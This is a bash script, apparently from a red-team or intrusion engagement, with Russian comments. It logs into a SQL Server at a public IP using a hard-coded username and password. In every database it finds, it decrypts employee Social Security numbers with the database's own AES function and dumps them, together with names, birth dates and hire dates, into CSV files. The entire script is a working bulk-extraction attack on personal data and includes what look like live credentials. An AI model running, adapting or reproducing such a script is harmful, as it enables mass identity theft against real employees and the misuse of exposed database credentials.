#!/bin/bash
# Расшифровка SSN для всех БД через SQL Server
SERVER="50.21.183.111"
USER="irely"
PASS="iRely486"
OUTPUT_DIR="/root/ir-assessment/redteam/irelydata/decrypted_ssn"

mkdir -p "$OUTPUT_DIR"

DATABASES=$(docker run --rm --network host mcr.microsoft.com/mssql/server:2022-latest /opt/mssql-tools18/bin/sqlcmd -S "$SERVER" -U "$USER" -P "$PASS" -C -Q "SET NOCOUNT ON; SELECT name FROM sys.databases WHERE name NOT IN ('master','model','msdb','tempdb') ORDER BY name" -h -1 -W 2>/dev/null | grep -E "^[A-Za-z0-9_\\\\-]+$" | tail -n +2)

echo "=== Расшифровка SSN для баз данных ==="

TOTAL_SSN=0

for db in $DATABASES; do
    echo ""
    echo "=== $db ==="
    OUTPUT_FILE="$OUTPUT_DIR/${db}_ssn_decrypted.csv"
    
    # Проверяем наличие таблицы tblPREmployee и SSN
    timeout 30 docker run --rm --network host \
        mcr.microsoft.com/mssql/server:2022-latest \
        /opt/mssql-tools18/bin/sqlcmd \
        -S "$SERVER" -U "$USER" -P "$PASS" -C \
        -d "$db" \
        -Q "SET NOCOUNT ON; SELECT TOP 1 COUNT(*) FROM tblPREmployee WHERE strSocialSecurity IS NOT NULL" \
        -h -1 -W 2>/dev/null > /tmp/ssn_count.txt
    
    COUNT=$(cat /tmp/ssn_count.txt | tail -1 | tr -d '[:space:]')
    
    if [ "$COUNT" = "0" ] || [ -z "$COUNT" ] || echo "$COUNT" | grep -qi "error\|invalid"; then
        echo "  - Нет данных или таблица отсутствует"
        continue
    fi
    
    echo "  Найдено SSN записей: $COUNT"
    
    # Расшифровываем
    timeout 60 docker run --rm --network host \
        mcr.microsoft.com/mssql/server:2022-latest \
        /opt/mssql-tools18/bin/sqlcmd \
        -S "$SERVER" -U "$USER" -P "$PASS" -C \
        -d "$db" \
        -Q "SET NOCOUNT ON; SELECT intEntityId, strFirstName, strMiddleName, strLastName, dbo.fnAESDecryptASym(strSocialSecurity) AS decrypted_ssn, strType, dtmDateHired, dtmBirthDate FROM tblPREmployee WHERE strSocialSecurity IS NOT NULL" \
        -s "|" -W 2>/dev/null | tail -n +3 > "$OUTPUT_FILE"
    
    if [ -f "$OUTPUT_FILE" ]; then
        SIZE=$(ls -lh "$OUTPUT_FILE" | awk '{print $5}')
        ROWS=$(wc -l < "$OUTPUT_FILE")
        TOTAL_SSN=$((TOTAL_SSN + ROWS))
        echo "  ✓ $ROWS SSN расшифровано, $SIZE"
        
        # Показать первые 3
        tail -n +1 "$OUTPUT_FILE" | head -3 | while IFS='|' read -r id fname mname lname ssn type hired birth; do
            [ -n "$ssn" ] && echo "    - $fname $mname $lname: $ssn"
        done
    fi
done

echo ""
echo "=== Расшифровка SSN завершена ==="
echo "Всего SSN: $TOTAL_SSN"
echo "Результаты в $OUTPUT_DIR"